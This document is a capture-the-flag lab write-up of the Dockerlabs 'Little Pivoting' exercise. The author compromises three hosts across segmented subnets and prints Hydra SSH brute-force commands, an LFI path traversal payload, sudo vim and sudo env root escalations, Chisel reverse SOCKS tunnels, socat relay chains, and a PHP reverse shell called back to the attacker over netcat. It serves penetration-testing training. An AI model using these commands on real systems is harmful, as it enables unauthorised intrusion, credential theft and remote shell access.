Skip to content
Platform Dockerlabs
OS Linux
Difficulty Medium
InitialVector SSH Bruteforce, LFI/Path Traversal, Unrestricted File Upload
Privesc sudo vim, sudo env

Disclaimer: The screenshots in this writeup may not appear in the exact chronological order of the exploitation process. I had an issue while organizing the images, so some of them may be slightly out of sequence.

Little Pivoting

This lab is built around three machines distributed across three different subnets. The goal is to compromise the first host, use it to pivot into the second subnet, compromise the second host, and finally use both pivot points to reach the last machine in a third isolated subnet.

The lab networks were configured as follows:

  • pivoting110.10.10.0/24 with gateway 10.10.10.1
  • pivoting220.20.20.0/24 with gateway 20.20.20.1
  • pivoting330.30.30.0/24 with gateway 30.30.30.1

From the attacker’s perspective, only the first subnet was reachable directly. Everything else had to be accessed by pivoting through compromised hosts.

Network Reconnaissance

I began by identifying the networks directly accessible from the attacker machine. The attacker had direct connectivity to 10.10.10.0/24, and its address on that network was 10.10.10.1.

Screenshot

To identify live hosts on that segment, I performed host discovery against the bridge interface.

arp-scan -I br-fa2ec18fa7aa --localnet

This revealed a target at 10.10.10.2.

Screenshot

Trust

Port Enumeration

With a live host identified, I ran a full TCP scan to determine exposed services.

nmap -sV -sC -p- --min-rate 5000 10.10.10.2 -n -Pn

The scan showed:

  • 22/tcp → OpenSSH 9.2p1
  • 80/tcp → Apache httpd 2.4.57 on Debian
Screenshot

Web Enumeration

Browsing to http://10.10.10.2 returned the default Apache2 Debian page.

Screenshot

To look for hidden content, I performed directory enumeration.

gobuster dir -u http://10.10.10.2/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,html,txt -r
Screenshot

The scan discovered:

  • index.html
  • secret.php
  • server-status (403)

The most interesting file was secret.php. Visiting it displayed the message:

“Hola Mario, esta web no se puede hackear”

Screenshot

That message strongly suggested that mario could be a valid local user, so I tested that assumption against SSH.

Initial Access

Using the username clue from the web application, I launched a password brute-force attack with Hydra.

hydra -l mario -P /usr/share/wordlists/rockyou.txt 10.10.10.2 ssh

Hydra returned valid credentials:

  • Username: mario
  • Password: chocolate
Screenshot

I then logged in over SSH.

After authentication, I prepared the shell for better terminal handling.

export TERM=xterm

This provided interactive access to the first machine.

Privilege Escalation

The next step was to review sudo permissions for the compromised user.

sudo -l

The output showed that mario could run /usr/bin/vim with elevated privileges.

Screenshot

Since vim is a well-known GTFOBins entry, it can be abused to spawn a shell as root.

sudo vim

Inside vim, I executed:

:!/bin/bash -i
Screenshot

This successfully returned a root shell.

Screenshot

Preparing the First Pivot

With root access on the first machine, I inspected its network interfaces to determine whether it could see any internal networks that were not directly reachable from Kali.

ifconfig

The host had:

  • eth010.10.10.2
  • eth120.20.20.2
Screenshot

This was the first real pivot point. Kali could only reach 10.10.10.0/24, but this compromised host also had access to 20.20.20.0/24. That meant any traffic destined for the second subnet had to be sent through this machine.

To do that cleanly, I used Chisel to create a reverse SOCKS tunnel.

The idea was simple:

  1. Run a Chisel server on Kali.
  2. Make the compromised host connect back to Kali.
  3. Ask Chisel to expose a SOCKS proxy on Kali.
  4. Route tooling through that SOCKS proxy so traffic leaves through the compromised machine and reaches 20.20.20.0/24.

Deploying Chisel

First, I downloaded chisel on Kali and served it locally so the compromised host could retrieve it.

python3 -m http.server 5000
Screenshot

On the compromised machine, I downloaded the binary with wget.

wget http://10.10.10.1/chisel
Screenshot

On Kali, I started the Chisel server in reverse mode.

chmod +x chisel
./chisel server --reverse --p 5555
Screenshot

Then, on the compromised machine, I launched the client and requested a reverse SOCKS tunnel.

chmod +x chisel
./chisel client 10.10.10.1:5555 R:socks
Screenshot

This step is important to understand correctly:

  • The client ran on the compromised host.
  • The server ran on Kali.
  • Because the tunnel was started with R:socks, Chisel exposed a SOCKS listener on Kali, typically at 127.0.0.1:1080.
  • Any tool sent through that local SOCKS proxy would actually exit from the compromised host, not from Kali.

That is what made the pivot possible.

Since that terminal remained occupied by the Chisel client, I opened a new SSH session to the first machine and regained root the same way as before.

Proxychains Configuration

To make local tools use the newly created SOCKS tunnel, I edited the Proxychains configuration.

nano /etc/proxychains4.conf

I added the following entry:

socks5 127.0.0.1 1080
Screenshot

At this point, Kali could reach hosts inside 20.20.20.0/24 by sending traffic through the SOCKS proxy published by Chisel.

Inclusion

Enumerating the Second Subnet Through the First Pivot

Now that the SOCKS tunnel was active on 127.0.0.1:1080, I used Proxychains to scan the next host in the second subnet.

proxychains nmap --min-rate 5000 -sT -Pn 20.20.20.3 2>/dev/null

This showed that 20.20.20.3 had:

  • 22/tcp → SSH
  • 80/tcp → HTTP

To browse the target web application through the tunnel, I configured Firefox to use a manual SOCKS5 proxy pointing to 127.0.0.1:1080.

Screenshot

That allowed me to browse http://20.20.20.3 from Kali even though the subnet was not reachable directly.

Screenshot

I then enumerated web content through the same pivot.

proxychains dirb http://20.20.20.3/ 2>/dev/null
Screenshot

The interesting findings were:

  • index.html
  • index.php
  • /shop

Discovering the LFI

Inside /shop, the page displayed the string:

Error de Sistema: ($_GET['archivo']);

This was a strong indicator that the application expected a GET parameter named archivo and likely used it when referencing a local file.

Screenshot

That parameter name immediately suggested a file-handling functionality. When an application accepts user input that appears to control a file path, the next logical question is whether the server validates that path properly or whether it can be manipulated to move outside the intended directory.

That is where path traversal comes in.

A path traversal vulnerability appears when an application accepts a path from user input and fails to restrict it to a safe directory. By supplying sequences such as ../, an attacker can move one directory upward at a time until reaching the filesystem root or another sensitive location.

In this case, the payload:

../../../../../../../../etc/passwd

attempts exactly that. Each ../ moves one level up from the current working directory. By chaining enough of them together, the request eventually escapes the application directory and reaches /etc/passwd.

When that traversal is combined with functionality that reads or includes a local file on the server, the issue becomes a Local File Inclusion (LFI). In other words:

  • ../ controls the path traversal
  • the vulnerable parameter causes the application to read a local file
  • together, they allow arbitrary local files to be disclosed

Requesting the following URL confirmed the issue:

http://20.20.20.3/shop/?archivo=../../../../../../../../etc/passwd

The application returned the contents of /etc/passwd.

Screenshot

Among the entries, two local users stood out:

  • seller:x:1000:1000:seller,,,:/home/seller:/bin/bash
  • manchi:x:1001:1001:manchi,,,:/home/manchi:/bin/bash

SSH Brute Force via the Pivot

With likely usernames identified, I created a user list and attempted an SSH brute-force attack through Proxychains.

proxychains hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 20.20.20.3 ssh
Screenshot

Hydra returned valid credentials for the second host:

  • Username: manchi
  • Password: lovely
Screenshot

I then logged in through the SOCKS tunnel.

proxychains ssh [email protected]
Screenshot

Enumerating the Second Pivot Host

I first checked whether manchi had any sudo rights.

sudo -l

manchi could not run anything via sudo.

Screenshot

Even without privilege escalation, the host was useful as a pivot. I listed its addresses to identify additional reachable networks.

hostname -i

The host had access to 30.30.30.0/24 and was assigned 30.30.30.2.

Screenshot

This meant the second compromised machine could reach the final target subnet.

Building the Second Pivot

Privilege escalation on the second machine was not required. The objective here was purely routing.

At this stage, the network path looked like this:

  • Kali could directly reach 10.10.10.2
  • 10.10.10.2 could reach 20.20.20.3
  • 20.20.20.3 could reach 30.30.30.3

The challenge was that the second machine could not reach Kali directly. It could only reach the first pivot host on 20.20.20.2. Because of that, I used:

  • Socat on the first pivot to relay traffic from the second pivot back to Kali
  • Chisel on the second pivot to create another reverse SOCKS tunnel through that relay

In short, Chisel provided the SOCKS proxy, while Socat provided the transport bridge needed to carry the Chisel connection across the already compromised host.

Sending Chisel to the Second Host

I first hosted chisel from the initial compromised machine so the second host could download it over the internal network.

On the first machine:

python3 -m http.server 9999

On the second machine:

wget http://20.20.20.2:9999/chisel
Screenshot

Sending Socat to Both Pivot Hosts

To relay traffic cleanly across both layers, I also needed a static socat binary on both compromised machines.

On Kali:

python3 -m http.server 5000

On the first machine:

wget http://10.10.10.1:5000/socat
python3 -m http.server 9999

On the second machine:

wget http://20.20.20.2:9999/socat
Screenshot

Using Socat to Relay the Second Chisel Tunnel

The Chisel server on Kali was already listening on port 5555. The problem was that the second machine could not connect directly to 10.10.10.1:5555. It could, however, connect to the first machine at 20.20.20.2.

So on the first pivot, I used Socat to listen on port 1111 and forward all received traffic to Kali on port 5555.

chmod +x socat
./socat tcp-l:1111,fork,reuseaddr tcp:10.10.10.1:5555
Screenshot

This made the first pivot behave as a TCP bridge:

  • 20.20.20.2:1111 received the connection from the second host
  • Socat forwarded that stream to 10.10.10.1:5555
  • Kali’s Chisel server handled the connection as if the second host had reached it directly

Then, on the second machine, I launched a second Chisel client and requested another reverse SOCKS tunnel, but this time bound to a different port to avoid colliding with the first tunnel on 1080.

chmod +x chisel
./chisel client 20.20.20.2:1111 R:7777:socks
Screenshot

This command works as follows:

  • The Chisel client on the second machine connects to 20.20.20.2:1111
  • Socat relays that connection to Kali on 10.10.10.1:5555
  • Kali’s Chisel server accepts it
  • Because the request was R:7777:socks, Kali publishes a new local SOCKS proxy on 127.0.0.1:7777

That proxy now represents traffic exiting from the second compromised host, which is exactly what was needed to reach 30.30.30.0/24.

Updating Proxychains for the New Tunnel

To use the new pivot, I updated /etc/proxychains4.conf.

I changed the chain mode and placed the new SOCKS entry above the original one so the new tunnel would be used for traffic targeting the third subnet.

Screenshot

I added:

socks5 127.0.0.1 7777
Screenshot

At this point, Kali could send traffic through the second host and reach the final target subnet.

Upload

Enumerating the Final Host Through Two Pivot Layers

With the second pivot in place, I scanned the final target.

sudo proxychains nmap --min-rate 5000 -sT -Pn -n 30.30.30.3 2>/dev/null

The final machine exposed only one service:

  • 80/tcp → HTTP
Screenshot

To browse it graphically, I again configured Firefox to use a SOCKS5 proxy, this time through the second tunnel.

Screenshot

Navigating to http://30.30.30.3 revealed a file upload page.

Screenshot

I also fuzzed for additional directories through the new SOCKS proxy.

gobuster dir -u http://30.30.30.3/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:7777

The only meaningful discovery was:

  • /uploads
Screenshot

Browsing to /uploads confirmed that uploaded files were web-accessible.

Screenshot

Building the Reverse Shell Path with Socat

At this point, uploading a PHP reverse shell was straightforward. The complicated part was routing the callback.

The final machine could not connect directly to Kali, so the reverse shell had to follow the same network path in reverse:

  • Final host → second pivot
  • Second pivot → first pivot
  • First pivot → Kali

To make that possible, I used two Socat bridges, both listening on port 443.

On the first pivot host, I forwarded 443 to Kali’s 443.

./socat tcp-l:443,fork,reuseaddr tcp:10.10.10.1:443
Screenshot

This created the bridge between the first and second layers.

Next, on the second pivot host, I created another relay that listened on 443 and forwarded traffic to the first pivot at 20.20.20.2:443.

chmod +x socat
./socat tcp-l:443,fork,reuseaddr tcp:20.20.20.2:443
Screenshot

This completed the callback chain:

  • the final host connects to 30.30.30.2:443
  • the second pivot forwards to 20.20.20.2:443
  • the first pivot forwards to 10.10.10.1:443
  • Kali receives the connection locally

With that in place, I prepared a PHP reverse shell from PentestMonkey and set:

  • IP: 30.30.30.2
  • Port: 443
Screenshot

Because both Socat relays ultimately forwarded the callback to Kali on port 443, the Netcat listener on Kali had to listen on that same port.

nc -nvlp 443

After uploading the payload and requesting:

http://30.30.30.3/uploads/shell.php

I received a reverse shell successfully.

Screenshot

Stabilizing the Shell

To make the shell fully interactive, I upgraded it using the usual terminal-fixing sequence.

script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 39 cols 166
Screenshot

Privilege Escalation on the Final Host

With shell access established, I enumerated sudo rights.

sudo -l

The output showed that the current user could run /usr/bin/env as root.

Screenshot

According to GTFOBins, env can be abused to spawn a root shell.

sudo /usr/bin/env /bin/sh
Screenshot

This successfully escalated privileges on the final machine.

Conclusion

This lab was a good exercise in chaining compromises across segmented networks.

The full attack path was:

  1. Compromise Trust on 10.10.10.2
  2. Escalate to root and use it as the first pivot into 20.20.20.0/24
  3. Exploit Inclusion on 20.20.20.3 via LFI and SSH brute force
  4. Use Inclusion as a second pivot into 30.30.30.0/24
  5. Compromise Upload on 30.30.30.3 through the upload functionality
  6. Route the reverse shell back across both pivot layers with Socat
  7. Escalate privileges on the final host using env

The key technical lesson in this chain was understanding the role of each pivoting tool:

  • Chisel created reverse SOCKS tunnels so Kali could originate traffic from compromised hosts inside unreachable networks.
  • Socat relayed TCP streams between pivot layers when a deeper host could not connect to Kali directly.
  • The path traversal/LFI on the second machine provided the local user enumeration needed to move forward with SSH access.

By combining those pieces correctly, it was possible to move cleanly from one subnet to the next until the final host was fully compromised.